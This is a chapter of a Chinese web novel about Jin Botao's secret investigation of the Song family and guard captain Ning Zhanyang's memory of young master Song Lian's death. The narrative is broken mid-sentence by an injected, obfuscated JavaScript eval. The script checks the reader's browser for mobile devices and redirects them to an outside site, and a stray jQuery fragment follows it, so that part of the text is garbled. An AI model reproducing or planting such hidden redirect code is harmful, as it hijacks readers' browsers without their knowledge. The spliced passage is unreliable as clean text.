自那日起,李闻棋的魂灵便由阿音负责照顾,金伯涛并不能时常见他,大多数时候,都是由阿音负责传话,告诉他李闻棋的近况,传达李见尘下一步的指令。
金伯涛一一记下,他很快就因为解决闹鬼之事,得到了当时江心洲真正意义上的掌权者——宋漪的赏识。
“二小姐看上去,是个很端庄很娴静的一个人。”
金伯涛对她的评价,和这里的绝大多数人一模一样。可偏偏是这样一个人,在宋鸿的口中,是个杀人不眨眼的大魔头。
“你可见到那鬼怪真容了?”宋漪问他,金伯涛答道:“回二小姐的话,夜里天黑,风高雨急,属下看得不够真切,实在有违二小姐所托。”
“哦,原是这样。”宋漪说话轻轻柔柔的,像春日里飘飞的柳絮,她并没有追问这件事,只叮嘱道,“你有几分本事,但切不可怠慢,你今日既是向我保证,鬼怪已除,那若是他日再有此等流言传出,我便要唯你是问。”
“是,属下谨记在心。”
“嗯。”
宋漪坐在高高的太师椅上,温和之中,又带着一丝古怪的冷漠,她复又说道:“你捉鬼有功,我自会向父亲回禀,该给你的赏赐一概不会少给你。”
“是。”
宋漪轻轻摆手,挥退了他。金伯涛慢慢从屋内撤出来,恰好碰见了宁展阳,对方行色匆匆,并没有正眼看他。那张脸和记忆中相去甚远,金伯涛顿生恍惚。
原来时间已经过去那么久了,师父已经去世那么久了,而他还没能为他报仇。
金伯涛攥紧了指节,很快离开了这里。
不久后,他便得到消息,二小姐将他举荐给了宋忱,要他不日便去当差。
“宋忱那时候年纪就很大了,终日坐在他那张椅子上,只有一双浑浊的眼睛会动一动。”
金伯涛见宋忱第一面,就觉得对方大半个身子都入了土,浑身上下都散发着一股腐朽的气息。
偏偏宋忱也问了他同样的问题:“你可见过那个鬼影的真容?”
金伯涛又是那番说辞,宋忱听了,却当着他的面,抹了抹泪:“我的儿啊,你到死,都不肯来见为父一面。”
金伯涛记得宋涟,听到这话,心里面五味杂陈,他不知道宋涟为什么会死,但他直觉这和宋忱所做的一切逃不脱干系。
宋忱只哭了这一下,而后就没了动静。他将金伯涛留下,一步步让他成为这里的副守卫长。在这中间,宋漪也与他保持着联系。金伯涛发现,这父女二人之间,似乎有什么不可告人的秘密,而且他们之间的关系,并没有表面上那么平静。
金伯涛觉得很奇怪,可他旁敲侧击,询问了很多人,要么是不清楚,要么是没有觉得哪里不对劲。
金伯涛没有办法,最终将目标锁定在了宁展阳身上。那人身为守卫长,在宋家多年,定是知晓许多。可宁展阳远比他想象得难以接近,甚至时常在交谈中,抓到他的纰漏,金伯涛没多久便放弃了与他搭话。
转眼便又蹉跎了几年。
金伯涛既没能找到李闻棋的肉身,又没能理清其中的蹊跷。不过,他并非一无所获。他在跟踪宁展阳的过程中,发觉对方每年的八月廿七,都会在屋内焚香,放上一些供品。对此,宁展阳并没有任何隐瞒。
他说,这一天是宋涟的祭日,庄主虽说没有要求庄内所有人都祭拜,但他作为大少爷曾经的剑侍,也该顾念一些旧日情谊。因此,他在屋内烧香祭拜,可香炉对面的牌位却有很大的瑕疵,上头的名字是被匕首刻上去的,再用朱笔描摹,看上去有些粗糙。
金伯涛想了一整夜,决定从宋涟那里找到突破口。
可他也去世许久,江心洲上早已没有他的东西,那镇上的老宅更是专人把守,金伯涛只好趁着不当值的时候,偷偷潜入老宅去查探。这一来一往,又耽搁了许多日子。好在老天开眼,真让他找到了一件意料之外的东西,那就是尹晓棠在他房里发现的那张宣纸。
如李见尘所言,那并不是宣纸,是一种金石冶炼之后留下的白霜,泡水蒸干,铺平展开之后就会如宣纸那样,能当作特殊的信笺。
金伯涛不记得它的原料究竟是什么,也不记得要怎么才能在上头留下痕迹,只知道那能用来书写的笔并不一般,师父每逢收到这样的信笺,都会在屋里点起一盏香。那香是听海崖特产的碧烟琼萝的花叶制成的,香气宁静沉雅,很是安神。但若是用火灼烧,那盏香就会散发出晶莹的水汽,落到那纸上,如雾般散开,便会使字显形。
可金伯涛身上并没有这样的香,他只好再去求助李见尘。对方很快就回了信,信随春风而至,那支异香也是。
“小心些,可别弄坏了。”李见尘叮嘱着,却没有明说原因,这碧烟琼萝在听海崖并不少见,但也算不得平常之物,好像是因为它也有小毒,再往深处回忆,金伯涛就不知道了。
他如法炮制,顺利复原了那张纸上的内容。
那是一幅画。
李见尘没有说谎,纸上无字,因为它就是一幅没有文字的画。
画上三个人。
有两个,金伯涛再熟悉不过,是他的师父和宋涟。彼时二人都是风华正茂的年纪,脸上洋溢着轻快又幸福的笑容。可最后一个,金伯涛却不认得。
是个只有十一二岁的小姑娘,抱着有她半人高的剑,也在笑,看上去格外活泼可爱。
李闻棋去世时,金伯涛虽然年纪小,但也已经记事了,听海崖又不似临渊或是五柳山庄那般规模庞大,它确确实实是个偏居一隅的小宗门。金伯涛作为李闻棋的首徒,门内的每个人,他几乎日日都见,都不曾见过这个小姑娘。
金伯涛对着那幅画看了很久。
他想,这个人能和师父、宋涟画在同一幅画上,还被宋涟一直珍藏着,说不定是他的家人。
但有一点可以确认,那就是,这个小姑娘绝不可能是宋漪。因为宋漪和宋涟只差了一两岁,而画上这人,年纪相差就有些大了。
金伯涛心里忽地闪过一丝异样的感觉。
这人,会不会是宋澜?
他曾经听宋鸿说过,小时候,宁展阳曾经给宋澜送过剑谱,那么,宋涟和宋澜之间,也许是经常有联系的?
金伯涛将自己的猜测告诉了李见尘,对方的建议是,让他招魂。
“招来当事鬼问问不就好了?”李见尘原话是这样,阿音只会写字,金伯涛也想象不出对方是怎样的语气。
他照做了,但一无所获。
他以为是自己学艺不精,但后来才发现,宋澜的魂灵并不在此,可能已经投胎转世,可能已经魂飞魄散。招魂一事,很快不了了之。
……
“那,那点尘缘是怎么回事?”尹晓棠大为不解,年轻的脸上写满了愁苦,金伯涛回答道:“不清楚,我也是在祖师爷来到此地后,才被告知这件事的。”
“李见尘为什么会来?他不是听海崖的祖师爷吗?请他来这儿,宋忱不就是搬起石头砸自己的脚?”
尹晓棠更是困惑。
孙雪华亦然。
他持剑抵在李见尘颈侧,面容沉素,对方却一点不怕,只是示意阿音带着李闻棋走远些。
“这我也不知道。”
李见尘说得十分坦然,他头一歪,看向孙雪华身后的宁展阳:“不过我猜,守卫长应该知道。”
宁展阳不言,李见尘却笑了:“既然守卫长不愿意说,那我便大胆猜测,你是想一网打尽吧?”
“其实宋忱与宋漪,彼此之间不和已经是个众所周知的秘密,而你,则是加速了他们决裂的进程。宋忱如今大权已失,无人可倚仗,所以你才大胆进言,要他召唤我前来?”
李见尘仍是笑眯眯的:“你劝宋忱,将李闻棋的死一并算到宋漪头上,是吗?你认为我不问世事,所以不知道这些恩怨,可以任由你们拿捏?”
宁展阳闻言,冷哼一声:“想拿你当枪使的,并不是我。”
“哦?”
“宋忱贪生怕死,他请你来,定是冒了极大的风险,但他敢这么做,就是因为他知道,李闻棋在宋漪手上。”
宁展阳眼神狠辣,扫视着这群于他而言的不速之客,眼里的恨意仿佛要喷薄而出,化作利刃,将所有人捅个对穿。
“李闻棋身死的那个夜里,屋里除了宋忱和黎思之,还有宋漪,甚至毒死他的那碗毒药,都是宋漪亲手端过去的。”
宁展阳原本不知道这些,直到宋涟去世。
李见尘头脑稍微转一转,就知道这是怎么回事:“所以啊,你所做的一切,就是为了给宋涟报仇吧?”
“大少爷不是自裁的,他本来就身体不好,是他们活活逼死他的。”
宁展阳至今都记得,宋涟躺在床上吐血的样子,那温热的发了紫的淤血泡红了大半的床褥,连床下的地板上都是。宁展阳用一条毛巾不断给他擦,可那些血就是止不住,宋涟不小心吐了他满手,淤血从指缝中淌了下去,宋涟还向他道歉:“对不起。”
宁展阳一个劲儿地摇头,可喉咙里却像压了一块铁,怎么都发不出声音。他想背上宋涟,带他去找大夫,对方却制止了他,轻轻地笑了笑:“别去,别去。”
宁展阳那会儿也年轻,和尹晓棠差不多大,没见过什么人,在短暂的前半生里,他的世界就只有宋涟一个人。
“少爷,少爷。”宁展阳想劝他,可怎么都劝不住,宋涟脸色惨白,嘴上毫无血色,哽咽着:“我要是死了,你就一把火把我烧了,然后一个人离开这儿,知道吗?”
宁展阳还是摇头,眼泪就涌了出来,抱着他嚎啕大哭,宋涟见状,不声不响地推了推他:“我身上脏,别哭了。”
可宁展阳没有听,仍是哭得肝肠寸断,宋涟没有办法,便摸了摸他的头,哄道:“哭吧哭吧,没事儿,你要想留下,便留下,要是真的走不了,哪天来奈何桥下寻我,我也认你。”
他说着这些话,和平时没有两样,可他说完,就闭上了眼睛,再也没有醒来。这个江心洲,静悄悄的,一个人都没来。
宁展阳守着他,直到他的身体变冷变硬,宋漪和宋忱才先后踏进了这个屋。
“哥!”
“儿啊!”
一声又一声,这会儿两个人倒是哭得比谁都伤心,一个哭自己白发人送黑发人,一个哭自己没能照顾好大哥。
只有宁展阳没有哭。他好像把眼泪流尽了,呆呆地坐着,眼神空洞无神,有个和他认识的小仆役来拉他,他才忽地动了动
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762396|174439||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,一头撞开了这个人。他双手紧紧抱着宋涟,根本不愿松开。宋忱怒喝,骂他是不长眼的东西,命人架住他,费了好大劲儿才将人拖远,宁展阳没有大吼大叫,他的少爷尸骨未寒,他不能这样让对方失了体面。
少爷得风风光光地入土为安。
宁展阳想着,双手死死抓着地面,无声地抗议着,那几个人高马大的仆从可不管这些,硬是拽着他在地上拖行了很远,宁展阳的指甲盖都翻了起来,血肉模糊。
他挨了好一顿毒打,被关进了一个偏远的黑屋里,滴水未进。
宁展阳没有睡,他在地上画起了“正”字,粗略得算着时间。
大概过了五天,那个房门忽地被打开了。
是宋漪。
端庄娴静的二小姐命人将他扶起来,轻言慢语地说着:“大哥马上就要下葬了,我去求了父亲,让你送他最后一程。”
宁展阳抬眼,眼里早已布满血丝。
他知道宋漪的目的。
于是他舔了下干裂的嘴唇,向她下跪磕头:“谢二小姐大恩大德,属下今后必当唯命是从,赴汤蹈火,在所不辞。”
“起来吧,去收拾收拾,马上去见大哥最后一面吧。”宋漪留下这最后一句话,便轻飘飘地离开了。
宁展阳从昏暗的屋内走了出来,外头仍是黑夜,那些人点着火把,一个个人影被无限拉长,仿佛是刚从地狱里爬上来的厉鬼。
宁展阳闭了闭眼,深深吸了一口气,去江边冲了一遍自己,换了件干净的衣服,就去见宋涟。宋家所有人都一身素缟,他也不例外。宋漪说是让他见宋涟最后一面,实际上也只是和那群仆从跪在一起,远远地朝灵堂磕头。
宁展阳望着那挂满白绫的灵堂,望着那昏黄的烛火,簌簌泪下。
宋忱其实并不喜欢宋涟这个儿子。
他毕生都在追求所谓的长生不老之术,为此求娶了林采荷,生了一双儿女。可这个儿子,宋涟,养在听海崖,和李闻棋一道长大,竟是个心性纯良之人,并不热衷于那或有或无的成仙之道。宋忱对此极为不满,多次敲打,可宋涟并不在意,反过来劝他,修行之奥妙,在于精神永存,而不在□□永续。
父子之间日渐生了嫌隙。可宋涟没有发现,彼时的他正少年意气,正是踌躇满志的时候,丝毫没有意识到父亲对他的怨念。
可小他几岁的宁展阳却看出来了。
也许是从小寄人篱下的经历,使得宁展阳更懂得察言观色,他早早看出来宋忱对宋涟的不满,他由衷地担心起来,他劝宋涟不要再和宋忱起冲突,可对方并没有放在心上,只道:“古往今来,父子之间有观念上的冲突很常见,这有什么的?你不要太担心了,阳阳。”
宋涟叫他阳阳,就像李闻棋叫自己徒弟灿灿那样。
可宁展阳又不是七八岁的小孩子,他已经是个少年人了,对任何事情都有自己的看法。他直觉宋忱不简单,可劝到最后,宋涟一句“虎毒不食子”还是让他沉默了。
的确,虎毒不食子。
宁展阳喃喃着:“少爷,在我心里,你就是我的天。”
没有谁会希望天塌了。
宋涟愣了愣,听出了他的弦外之音,笑着:“你放宽心吧,天不会塌的。”
宁展阳点点头,他从记事起就在宋家干杂活,不知父母名姓,时常遭人殴打,若不是宋涟将他带在身边,他还不知能不能活到这个年纪。
所以宋涟就是他的天,他的乾坤,他的日月,是万万不能有事的。
可李闻棋的去世,给了宋涟一记重击。
他哭得撕心裂肺,没多久就病了。宁展阳心急如焚,终日守着他,却不见对方有一丝好转。而听海崖的掌门之位,因为宋涟的病倒,最后落入黎思之手中。
“不成器的东西!”宋忱在宋涟病榻前,狠狠踢了一脚那床板,听得站在一边的宁展阳胆战心惊。
宋涟微闭着眼,没有回应,宋忱便对宁展阳耳提面命:“照顾好少爷,要是他好不了,你也给我一起陪葬!”
“是。”
宁展阳不觉得害怕,他的天若是塌了,他还有什么盼头?还活下去做什么呢?不如一起做了一抔黄土,倒也落得个干净。
可宋涟却觉得对不起他,待宋忱走后,对他说:“连累你了,对不起。”
“少爷,你不要把所有事都揽在你身上,这不是你的错。”宁展阳劝慰着,“有些人有些事,不是我们能左右的,你放过自己吧,李师兄在天之灵,也不愿意你这样。”
宁展阳和宋涟一样,都称呼李闻棋为李师兄,因为宋涟觉得这样亲切,不至于生分。
可如今听在耳里,落在心上,宋涟却心痛得厉害:“阳阳,我觉得师兄的死,不是一个意外,可是我不敢去追查。”
他心有所感,又和李闻棋一样,到死都不敢相信自己的父亲是如此心狠手辣之人。
宁展阳劝道:“少爷,不想追查就不追查了,你先养好身体,等哪天你想明白了,再去寻找真相也不迟。”
宋涟忽地呜咽起来,宁展阳抱着他,轻轻拍拍他的背,不敢再多言。
这件事本来可以到此为止的。
如果宋漪没有发疯,将李闻棋的尸身带回来的话。